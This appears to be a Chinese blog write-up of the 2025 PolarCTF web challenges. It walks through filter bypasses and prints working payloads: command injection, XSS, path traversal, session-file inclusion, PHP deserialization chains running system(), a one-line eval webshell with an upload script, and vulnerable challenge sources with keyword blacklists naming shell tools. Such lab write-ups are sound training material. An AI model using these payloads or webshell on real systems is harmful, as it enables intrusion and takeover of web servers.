2025 POLAR WEB 方向 靶场题解

qiutou 发布于 18 天前 67 次阅读


补题中ing

【SWP】

一开始看到这个就意识到了临时文件swp,所以直接上dirsearch

(dirsearch是一个专门用于查找网站敏感文件的程序)

例示样板:dirsearch -u (url)-e*

image-20250812082412569

访问网站相对应ui

出现一段代码,仔细分辨之后,发现preg-match函数属于正则匹配NFA(标志性的绕过题目)

function jiuzhe($xdmtql){
    return preg_match('/sys.*nb/is',$xdmtql);
}
​
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){
    if(!jiuzhe($xdmtql)){
        if(strpos($xdmtql,'sys nb')!==false){
            echo 'flag{*******}';
        }else{
            echo 'true .swp file?';
        }
    }else{
        echo 'nijilenijile';
    }
}

常见的正则引擎,被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入

NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

当我们输入的次数超越了设定的回溯上线次数,即会返还false,得到flag,代码如下:

import requests
 
url = 'http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/'
data = {
    'xdmtql': 'sys nb'+'very' * 250000
}
 
r = requests.post(url=url, data=data).text
print(r)

借鉴文章:利用正则回溯最大次数上限绕过preg_match_限制正则表达式的回溯次数-CSDN博客

【简单rce】

<?php
highlight_file(__FILE__);
function no($txt){
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

题目分析,需要上传参数sys,post参数yyds,eval屏蔽关键词,使用include直接包含flag

image-20250812091731485

借鉴文章:CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客

【蜜雪冰城吉警店】

直接改前端,即得flag

image-20250813193056613

借鉴文章:前端调试入门_alert 打断点-CSDN博客

【召唤神龙】

JSFuck

image-20250813194807399

在F12控制台,直接输入即得

【seek flag】

根据hint提示了解到爬虫,所以自然访问了robots.txt得到flag3,抓包之后发现flag2,并且注意到cookie id=0,改成1之后得到flag1

image-20250813211322789
image-20250813210751146

全部拼接起来得到flag:flag{7ac5b3ca8737a70f029dc0ad71dadd11}

【jwt】

根据题目即可察觉到考的是垂直越权,那么先注册一个账号,拿到jwt

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.Om63snUmClCNHsxk7VD9ebCqXUh512HcDm8OKnRm3iY

然后通过jwt crackers解出密钥为 SYSA

(jwt-cracker -t "<tokn>")

再修改名称和jwt,得到flag

image-20250813235415480

jwt在线解密/加密 - JSON中文网

【login】

打开F12,看到注释,其中出现了密码

image-20250818000627241

尝试登录之后,发现只显示了登录成功,然后尝试更改最后一位数字,循环数字,即得flag

【iphone】

F12查看之后,发现提醒修改U-A,也就是uer-agent,这里运用了新学的方法(谢fulian佬)

我们在浏览器的F12中选择网络,并且找到php文件,并且以bash格式复制

image-20250818003954717

随后,到hackbar插件中,选择curl command load ,即可直接修改标头,方便快捷!

(此处修改UA为iphone即得答案)

image-20250818001706217

SQLmap使用教程图文教程(非常详细)从零基础入门到精通,看完这一篇就够了。-CSDN博客

【浮生日记】

浅谈javascript注入攻击_js注入攻击-CSDN博客

发现写入的,会成为代码一部分,那么可以考虑到

独立出一个script执行恶意代码

payload:

<scrscriptipt>alert(1)</scrscriptipt>

JavaScript三种弹出框(alert、confirm、prompt),一次性全弄清!_alert()-CSDN博客

XSS | XSS 常用语句以及绕过思路_xss语句-CSDN博客

【$$】

<?php
/*
​
PolarD&N CTF
​
*/
​
highlight_file(__file__);
error_reporting(0); 
include "flag.php";
​
$a=$_GET['c'];
if(isset($_GET['c'])){
    if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
        die("oh on!!!");}
    
    else{
        eval("var_dump($$a);");}}

$GLOBALS读全局变量,即可得flag

【爆破】

<?php
error_reporting(0);
​
if(isset($_GET['pass'])){
    $pass = md5($_GET['pass']);
    if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
        if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
            include('flag.php');
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);
​
}
?>

交给ai写脚本,本质上就是md5问题

import hashlib
​
def check_condition(s):
    # 计算字符串的MD5哈希
    md5_hash = hashlib.md5(s.encode()).hexdigest()
    
    # 检查长度是否为32位(MD5标准长度)
    if len(md5_hash) != 32:
        return False
    
    try:
        # 第一个条件:索引1、14、17位置的字符必须相同
        c1 = md5_hash[1]
        c14 = md5_hash[14]
        c17 = md5_hash[17]
        
        if c1 != c14 or c14 != c17:
            return False
        
        # 确保字符是数字且不为0(避免除零错误)
        if not c1.isdigit() or c1 == '0':
            return False
        
        # 第二个条件:(c + c + c) / c == 索引31位置的字符的整数
        c_int = int(c1)
        sum_val = c_int + c_int + c_int
        division = sum_val / c_int  # 这应该等于3
        
        # 检查索引31的字符
        c31 = md5_hash[31]
        if not c31.isdigit():
            return False
        
        if division != int(c31):
            return False
        
        # 所有条件都满足
        return True, md5_hash
        
    except Exception as e:
        return False
​
# 开始爆破 - 尝试数字组合
def brute_force(start_length=1, end_length=6):
    import itertools
    digits = '0123456789'
    
    for length in range(start_length, end_length + 1):
        # 生成所有可能的数字组合
        for combination in itertools.product(digits, repeat=length):
            s = ''.join(combination)
            result = check_condition(s)
            if result:
                print(f"找到符合条件的字符串: {s}")
                print(f"对应的MD5哈希: {result[1]}")
                return s
        print(f"已尝试完所有{length}位数字组合,继续尝试更长的...")
    
    print("未找到符合条件的字符串")
    return None
​
if __name__ == "__main__":
    brute_force()
​

”?pass=422“,即可得到flag

【XFF】

抓包之后改ip为1.1.1.1就好了,用x-Forwarded-For代指

【rce1】

过滤空格用${IFS}绕过

payload:

;tac${IFS}fllllaaag.php

然后查看源代码,即得flag

【GET-POST】

根据提示get ”?id=1“

然后使用hackbar,传参jljcxy=flag,得到flag

【被黑掉的站】

题目提示有马,用dirsearch扫了一下目录,发现两个节点

”/index.php.bak”打开页面之后,发现是一连串字典

“/shell.php”是一个登录页面,那么很明显了,用字典中的去爆破,最终得到flag

【签到题】

提示里面说:”承认是弟弟“,然后在api中能够看到如下,改为yes

image-20250828150056066

返还了一个base64编码

<?php
    error_reporting(0);
    $file = $_GET['file'];
    if(!isset($file))
        $file = '1';
    $file = str_replace('../', '', $file);
    include_once($file.".php");
    highlight_file(__FILE__);
?>

利用空双写绕过,在base64编码即得

【签到】

修改前端,得到flag

【session文件包含】

打开网址,抓包之后,发现有一个PHPSESSID 的标识,

https://blog.csdn.net/weixin_52096670/article/details/135064451

根据题目和标识,可知这是session恶意代码

通过伪协议读取

?file=php://filter/convert.base64-encode/resource=action.php

发现一个php文件

<?php
session_start();
error_reporting(0);
$name =$_POST['name'];
if($name)
$_SESSION["username"] = $name;
include($_GET[file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

“session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看

有了参数,开始猜存放session文件的位置,一般默认为tmp,直接执行命令访问session文件”

于是开始,在hackbar检测自己输入名称的cookie,然后输入

url?file=/tmp/sess_+cookie

再对网页发送一句话木马,打开蚁剑即得flag

image-20250828161056392

【Don't touch me】

F12根据注释,逐步修改前端,记得删除disable属性

【robots】

访问robots页面

【php very nice】

一个简单的反序列化

<?php
class Example {
    public $sys; 
}
$a = new Example();
$a->sys = "system('tac f*');"; // 想执行的命令:用 system 执行 shell 命令,tac f* 是读所有以 f 开头的文件(通常 flag 文件会这样命名)
echo serialize($a); // 把对象转成序列化字符串,得到 payload
?>

<?php @eval($_POST[a]);?>

【ezupload】

在brup中更改“Content-Type”为image/gif,即可成功上传一句话木马。再链接蚁剑,即可

【cookie欺骗】

修改cookie

image-20250829125315599

【upload】

查看源码,访问“?action=show_code”

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
​

识别代码,发现是替换为空,那么直接双绕写

成功上传木马,蚁剑,flag

【干正则】

<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }
​
        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

一眼一个变量覆盖,然后flag.php的正则也形同虚设,可以用通配之类的绕过

payload:

?id=a[0]=www.polarctf.com&cmd=;tac f*

【cool】

<?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?>

payload:

?a=passthru('cat f*');

【uploader】

<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandBox)){
    mkdir($sandBox,0755,true);
}
if($_FILES){
    move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo $sandBox;
}
​
highlight_file(__FILE__);

基于客户端 IP 地址的 MD5 值创建一个唯一的沙箱目录,那么访问就好了

pyhon写一句话木马上传,然后拿到地址,连蚁剑

import requests
​
url = "http://4e7f436c-a5b9-4857-8d64-ea4f5d866915.www.polarctf.com:8090/"
​
files={'file':open("C:\\Users\\君\\Desktop\\1.php",'rb')}
​
result=requests.post(url,files=files)
​
print(result.text)
​
image-20250831021106018

【覆盖】

<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

通过构造特殊的 id 参数覆盖 $a 变量,使其满足条件判断,然后通过 cmd 参数注入系统命令获取 flag

payload:/?id=a[0]=www.polarctf.com&cmd=;tac%20f*

【PHP反序列化初试】

<?php
class Easy{
    public $name;
}
class Evil{
    public $evil;
    public $env;
}
 
$b=new Evil();
$a=new Easy();
$a->name=$b;
$b->evil="tac f*";
echo serialize($a);
 
?>

如题目所说:一个反序列化,访问url/?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":1:{s:4:"evil";s:6:"tac f*";}}

【机器人】

访问robots.txt得到前半截,根据disallow,访问/27f5e15b6af3223f1176293cd015771d/flag.php,得到完整flag

image-20250831023253583

【扫一扫】

image-20250831023603258

用dirsearch扫描网址,发现之后打开源代码得到flag

【debudao】

image-20250831023849180

随便抓包就看到了,在cookie

【审计】

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
​
if (isset($_GET['xxs'])) {
    $input = $_GET['xxs'];
​
    if (is_array($input)) {
        die("错误:输入类型不允许为数组。");
    }
    if (!preg_match("/^0e[0-9]+$/", md5($input))) {
        die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
    }
    if (!is_numeric($input)) {
        die("错误:输入必须是数字。");
    }
​
    die("恭喜:".$flag);
} else {
    die("错误:必须设置正确参数。");
}
?>

通过验证用户传入的xxs参数来决定是否输出 flag

写一个python代码枚举,我直接让ai来,得到了

image-20250831024449297

【upload1】

和之前的那个ezupload非常类似

【rapyiquan】

<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
​
$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
        if (strpos($params, '_') !== false) {
            return false;
        }
    return true;
}
​
if(checkUrlParams($url)){
    $cmd=$_GET['c_md'];
    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("badly!");
    } else {
        echo `$cmd`;
    }
}else{
    echo "$url";
    echo "<br>";
    echo "Hack";
}
​

用转义字符\绕过过滤

payload:

?c.md=t\ac /fl\ag.php

【bllbl_ser1】

class bllbl
    {
    public $qiang;//我的强
    function  __destruct(){
    $this->bllliang();
    }
    function bllliang(){
    $this->qiang->close();
    }
    }
    class bllnbnl{
    public $er;//我的儿
    function close(){
    eval($this->er);
    }
    }
    if(isset($_GET['blljl'])){
    $user_data=unserialize($_GET['blljl']);
    }

反序列化进程

<?php
    class bllbl{
    public $qiang;//我的强
    }
    class bllnbnl{
    public $er="system('tac /f*');";//我的儿
    }
    $a=new bllbl();
    $b=new bllnbnl();
    $a->qiang=$b;
    echo serialize($a);
?>

【1ncIud3】

用dir扫描了一次,看到了flag.php

image-20250831025922518
image-20250831025941508

进入之后提示flag可能是其他的变种,列如:f1a9 f1ag f149,又因为扫过一次,肯定不在这个目录,那么用上级,考虑可能过滤../直接使用..././,最后得到flag

url?page=..././..././f1a9

【投喂】

依旧是一个反序列化

<?php
    class User{
        public $username;
        public $is_admin=true;
    }
    $a=new User();
    echo serialize($a);
?>

【狗黑子的RCE】

<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
​
​
    $gouheizi1=$_GET['gouheizi1'];
    $gouheizi2=$_POST['gouheizi2'];
    $gouheizi2=str_replace('gouheizi', '', $gouheizi2);
​
    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
        echo("badly!");
        exit;
    } 
    if($gouheizi2==="gouheizi"){
        system($gouheizi1);
    }else{
        echo "gouheizi!";
    }
?>

双写绕过,和转义绕过

payload:

url?gouheizi1=t\ac /f\lag.php
gouheizi2=gogouheiziuheizi

【button】

查看源代码,即可看到script.js,查看即可看到

image-20250831035616091

访问/proxy.php?file=flag

【井字棋】

查看源码,发现declarewinner函数控制胜利,之后在控制台输入 declareWinner("您赢了!")

则会弹出flag

ps:判断能否调用函数,核心在于确认该函数是否暴露在全局作用域

测试 控制台 typeof declareWinner,

  • 如果返回 function,说明函数在全局作用域,可以直接调用
  • 如果返回 undefined,说明函数不在全局作用域,无法直接调用
此作者没有提供个人介绍
最后更新于 2025-08-31